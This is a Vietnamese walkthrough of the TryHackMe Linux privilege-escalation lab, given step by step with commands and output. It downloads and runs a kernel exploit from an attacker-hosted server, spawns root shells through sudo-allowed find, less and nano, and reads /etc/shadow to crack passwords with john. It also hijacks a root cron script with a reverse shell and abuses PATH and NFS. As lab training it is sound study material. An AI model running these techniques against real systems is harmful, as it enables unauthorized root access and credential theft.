TryHackMe - Leo thang đặc quyền trên Linux
Nhiều phương pháp khác nhau để leo thang đặc quyền trên Linux
Giới thiệu
Leo thang đặc quyền là một phần thiết yếu trong kiểm thử xâm nhập và hacking nói chung, vì đây là cách để giành toàn quyền truy cập vào máy từ xa.
Leo thang đặc quyền là gì?
- Leo thang đặc quyền là quá trình giành được mức truy cập hoặc quyền hạn cao hơn trên hệ thống so với mức được cấp ban đầu.
Hai loại leo thang đặc quyền chính:
-
Leo thang đặc quyền theo chiều dọc (nâng quyền) – Kẻ tấn công giành được quyền hạn cao hơn, chẳng hạn chuyển từ tài khoản người dùng thông thường lên quyền quản trị viên hoặc root. Điều này thường xảy ra thông qua việc khai thác lỗ hổng phần mềm, cấu hình sai hoặc đánh cắp thông tin đăng nhập.
-
Leo thang đặc quyền theo chiều ngang – Kẻ tấn công vẫn giữ nguyên mức đặc quyền nhưng giành được quyền truy cập vào tài khoản hoặc tài nguyên của người dùng khác. Ví dụ, một người dùng thông thường có thể truy cập dữ liệu riêng tư của người dùng khác.
Liệt kê thông tin
Hãy khởi động máy và truy cập qua ssh bằng thông tin đăng nhập được cung cấp.
1
2
ssh karen@10.10.151.202
Password1
Room giới thiệu cho chúng ta các lệnh liệt kê thông tin Linux cơ bản sau:
hostname- hiển thị tên máy chủ của máy mục tiêuuname -a- hiển thị thông tin hệ thống và các chi tiết bổ sung về kernel mà hệ thống đang sử dụng/proc/version- hiển thị phiên bản kernel và thông tin về bản build/etc/issue– hiển thị thông tin nhận dạng hệ thống, bao gồm phiên bản hệ điều hànhps– liệt kê các tiến trình đang chạyenv– hiển thị các biến môi trườngsudo -l– liệt kê các lệnh sudo mà người dùng được phép chạyls– liệt kê các tệp và thư mụcid– hiển thị ID người dùng và nhóm/etc/passwd– chứa thông tin về các tài khoản người dùnghistory– hiển thị các lệnh đã được thực thi trước đóifconfig– hiển thị thông tin về các giao diện mạng, hiện đã lỗi thời nên nên sử dụngip anetstat– hiển thị các kết nối mạng và cổng, hiện đã lỗi thời nên nên sử dụngssfind– tìm kiếm tệp và thư mục
Tên máy chủ của hệ thống mục tiêu là gì?
1
2
hostname
wade7363
Câu trả lời:
1
wade7363
Phiên bản Linux kernel của hệ thống mục tiêu là gì?
1
2
uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
Câu trả lời:
1
3.13.0-24-generic
Đây là bản phân phối Linux nào?
1
2
cat /etc/issue
Ubuntu 14.04 LTS
Câu trả lời:
1
Ubuntu 14.04 LTS
Phiên bản ngôn ngữ Python nào được cài đặt trên hệ thống?
1
2
3
4
python
Python 2.7.6 (default, Mar 22 2014, 22:59:56)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
Câu trả lời:
1
2.7.6
Lỗ hổng nào có vẻ ảnh hưởng đến kernel của hệ thống mục tiêu? Hãy nhập mã CVE.
Để trả lời câu hỏi này, chúng ta chỉ cần tìm kiếm phiên bản kernel trên Google và thêm từ khóa CVE.
Câu trả lời:
1
CVE-2015-1328
Các công cụ liệt kê tự động
Biết những công cụ tự động hóa nào có sẵn là điều hữu ích. Cá nhân tôi mới chỉ sử dụng LinPeas:
LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEASLinEnum: https://github.com/rebootuser/LinEnumLES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggesterLinux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumerationLinux Priv Checker: https://github.com/linted/linuxprivchecker
Leo thang đặc quyền: Khai thác kernel
Về cơ bản, room yêu cầu chúng ta sử dụng CVE đã tìm thấy. Các bước tiếp theo là:
- Tải exploit từ Exploit-DB
- Chuyển exploit sang máy nạn nhân
- Biên dịch và chạy nó
Sau khi tải exploit xuống, hãy khởi động máy chủ HTTP bằng Python tại thư mục chứa tệp để chúng ta có thể tải nó xuống máy nạn nhân.
Máy tấn công:
1
2
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Máy nạn nhân (trước tiên, chúng ta cần chuyển đến thư mục /tmp vì không có quyền ghi ở những nơi khác):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ cd /tmp
$ wget http://10.14.99.72/37292.c
Connecting to 10.14.99.72:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/x-csrc]
Saving to: ‘37292.c’
100%[=====================================================================>] 5,119 --.-K/s in 0s
2025-03-02 10:11:16 (277 MB/s) - ‘37292.c’ saved [5119/5119]
$ uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
$ gcc 37292.c -o 37292
$ ./37292
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),1001(karen)
Và chúng ta nhận được flag đầu tiên.
Leo thang đặc quyền: Sudo
Hãy kiểm tra xem chúng ta có thể chạy những gì bằng sudo.
1
2
3
4
5
sudo -l
User karen may run the following commands on ip-10-10-118-61:
(ALL) NOPASSWD: /usr/bin/find
(ALL) NOPASSWD: /usr/bin/less
(ALL) NOPASSWD: /usr/bin/nano
Người dùng “karen” có thể chạy bao nhiêu chương trình trên hệ thống mục tiêu với quyền sudo?
Câu trả lời:
1
3
Nội dung của tệp flag2.txt là gì?
https://gtfobins.github.io/gtfobins/less/
Leo thang đặc quyền bằng less
- Chạy
lessbằng sudo - Nhập
!/bin/bashđể tạo shell
1
2
3
$ sudo less /etc/profile
# id
uid=0(root) gid=0(root) groups=0(root)
Leo thang đặc quyền bằng find
https://gtfobins.github.io/gtfobins/find/#sudo
1
2
3
sudo find . -exec /bin/sh \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
Leo thang đặc quyền bằng nano
https://gtfobins.github.io/gtfobins/nano/#sudo
- Chạy
nanobằng sudo - Nhấn Ctrl + R, sau đó Ctrl + X
- Nhập
reset; sh 1>&0 2>&0, rồi nhấn Enter - Chúng ta có một root shell
Và chúng ta có thể lấy flag2.
Bạn sẽ sử dụng Nmap như thế nào để tạo root shell nếu người dùng của bạn có quyền sudo đối với Nmap?
Câu trả lời:
1
sudo nmap --interactive
Hash mật khẩu của frank là gì?
Vì chúng ta đã có quyền root, hãy đọc trực tiếp tệp shadow.
Leo thang đặc quyền: SUID
Trong điều kiện bình thường, bạn cấu hình quyền cho các tệp và thư mục, nhưng điều này thay đổi với SUID (Set-user Identification).
SUID cho phép các tệp được thực thi với mức quyền của chủ sở hữu tệp hoặc chủ sở hữu nhóm.
Người dùng nào có cùng tên với một tác giả truyện tranh nổi tiếng?
1
cat /etc/passwd
Mật khẩu của user2 là gì?
1
base64 /etc/shadow | base64 --decode | tail
Bây giờ, chúng ta chỉ cần bẻ khóa hash bằng john.
1
2
$ echo '$6$m6VmzKTbzCD/.I10$cKOvZZ8/rsYwHd.pE099ZRwM686p/Ep13h7pFMBCG4t7IukRqc/fXlA1gHXh9F2CbwmD4Epi1Wgh.Cl.VV1mb/' > hash.txt
john hash.txt
Nội dung của tệp flag3.txt là gì?
Có vẻ như chúng ta không thể đọc trực tiếp flag, mà cần sử dụng cùng lệnh base64 để đọc nó.
Leo thang đặc quyền: Capabilities
Có bao nhiêu tệp nhị phân được gán capabilities?
Theo hướng dẫn của room, chúng ta chuyển thông báo lỗi vào /dev/null bằng lệnh sau:
1
getcap -r / 2>/dev/null
Tệp nhị phân nào khác có thể được khai thác thông qua capabilities của nó?
Room cho chúng ta thấy cách khai thác tệp nhị phân vim, vì vậy tệp còn lại có thể được sử dụng là view.
Câu trả lời:
1
view
Nội dung của tệp flag4.txt là gì?
1
2
find / -name flag4.txt 2>/dev/null
/home/ubuntu/flag4.txt
Leo thang đặc quyền: Cron Jobs
Ba điểm chính:
- Cron job chạy các script vào những thời điểm đã lên lịch với quyền của chủ sở hữu
- Nếu một cron job thuộc sở hữu của root thực thi một script mà chúng ta có thể sửa đổi, chúng ta có thể leo thang đặc quyền
- Để liệt kê các cron job hiện tại, chúng ta có thể xem tệp
/etc/crontab
Chúng ta có thể sử dụng cat để đọc tệp và thấy một phần giải thích rất hữu ích.
Bạn có thể thấy bao nhiêu cron job do người dùng định nghĩa trên hệ thống mục tiêu?
Câu trả lời:
1
4
Nội dung của tệp flag5.txt là gì?
Hãy chèn script reverse shell của chúng ta vào tệp backup.sh và chờ cron job chạy.
Đừng quên khởi động Netcat listener trên máy tấn công.
1
nano backup.sh
Sau vài phút, tôi nhận ra rằng tệp không thể được thực thi :D Hãy cấp quyền thực thi cho tệp.
1
chmod +x backup.sh
Sau một lúc, chúng ta nhận được kết nối.
Mật khẩu của Matt là gì?
Được rồi, chúng ta thực hiện như sau:
- Dùng
catđể đọc tệp shadow - Lưu hash mật khẩu của Matt vào tệp
hash2.txttrong trường hợp này - Bẻ khóa hash bằng
john
Leo thang đặc quyền: PATH
Nguyên lý cơ bản:
- Nếu một thư mục có quyền ghi nằm trong biến PATH, bạn có thể chiếm quyền thực thi bằng cách đặt một script độc hại có cùng tên với một lệnh thường được sử dụng
- Khi hệ thống tìm kiếm lệnh đó, nó có thể thực thi script của bạn thay thế, từ đó có khả năng dẫn đến leo thang đặc quyền
Thư mục bất thường nào mà bạn có quyền ghi?
Chúng ta có thể kiểm tra những vị trí mình có quyền ghi bằng lệnh find.
1
find / -writable 2>/dev/null | tail
Sau một lúc, lệnh trả về kết quả.
Câu trả lời:
1
/home/murdoch
Nội dung của tệp flag6.txt là gì?
Bước này khiến tôi mất khá nhiều thời gian, nhưng đây là cách thực hiện:
- Chuyển đến thư mục
/home/murdoch - Ghi
/bin/bashvào tệpthmvì đây là tệp sẽ được thực thi - Hiển thị biến
$PATHhiện tại để kiểm tra lại - Xuất lại biến PATH và thêm thư mục hiện tại vào đầu
- Chạy tệp
test
1
2
3
4
5
6
7
8
9
10
$ cd /home/murdoch
$ echo '/bin/bash' > thm
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ export PATH=/home/murdoch:$PATH
$ echo $PATH
/home/murdoch:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ ./test
root@ip-10-10-215-168:/home/murdoch# id
uid=0(root) gid=0(root) groups=0(root),1001(karen)
Sau đó, chúng ta có thể tìm và hiển thị flag.
Leo thang đặc quyền: NFS
Bạn có thể xác định được bao nhiêu thư mục chia sẻ có thể mount trên hệ thống mục tiêu?
Trước tiên, chúng ta cần kiểm tra các thư mục chia sẻ trên máy nạn nhân từ máy tấn công.
1
showmount -e 10.10.175.134
Có bao nhiêu thư mục chia sẻ được bật tùy chọn “no_root_squash”?
Trên máy nạn nhân:
1
cat /etc/exports
Nội dung của tệp flag7.txt là gì?
Chúng ta có thể thực hiện như sau:
- Tạo một thư mục trong
/tmpđể mount thư mục chia sẻ NFS - Mount ổ đĩa
- Tạo tệp mã nguồn để thực thi
/bin/bash - Biên dịch và cấp quyền phù hợp
- Chuyển sang máy mục tiêu và chạy tệp thực thi
1
2
3
4
5
mkdir /tmp/nfscd /tmp/nfs
mount -o rw 10.10.175.134:/home/ubuntu/sharedfolder /tmp/nfs
nano shell
gcc shell.c -o shell -w
chmod +s shell
Thử thách tổng kết
Có vẻ đây là thử thách cuối cùng, vì vậy hãy hoàn thành nó.
Đăng nhập vào máy qua SSH và kiểm tra xem chúng ta có thể chạy lệnh nào bằng sudo hay không.
1
2
3
4
5
6
7
8
9
10
11
12
13
ssh leonard@10.10.249.6
[leonard@ip-10-10-249-6 ~]$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for leonard:
Sorry, user leonard may not run sudo on ip-10-10-249-6.
[leonard@ip-10-10-249-6 ~]$
Không may là chúng ta không thể chạy bất kỳ lệnh nào bằng sudo.
Vì vậy, hãy tiếp tục áp dụng những kỹ thuật đã học trong quá trình làm room.
Không có cron job nào khả dụng.
Hãy kiểm tra các tệp được đặt bit SUID.
1
find / -type f -perm -u=s 2>/dev/null
Flag 2
Có vẻ như chúng ta lại có thể sử dụng base64.
Sau vài lần thử, cuối cùng chúng ta đã thành công.
Flag 1
Có vẻ như flag1.txt được lưu ở một vị trí khác.
Hãy thử lấy mật khẩu của người dùng missy.
- Lấy hash từ tệp
/etc/shadow - Bẻ khóa hash bằng
john
1
base64 /etc/shadow | base64 --decode | grep missy
Sau đó, bẻ khóa hash bằng John.
Bây giờ, chúng ta có thể chuyển sang người dùng missy và kiểm tra các tệp khả dụng.
1
su missy
Sau đó, chúng ta tìm thấy vị trí và nội dung của flag1.txt.
Tôi không chắc liệu thử thách có được thiết kế để giải theo cách này hay không vì tôi đã lấy các flag theo thứ tự ngược lại, nhưng vẫn có nhiều con đường khác nhau để đi đến đích.































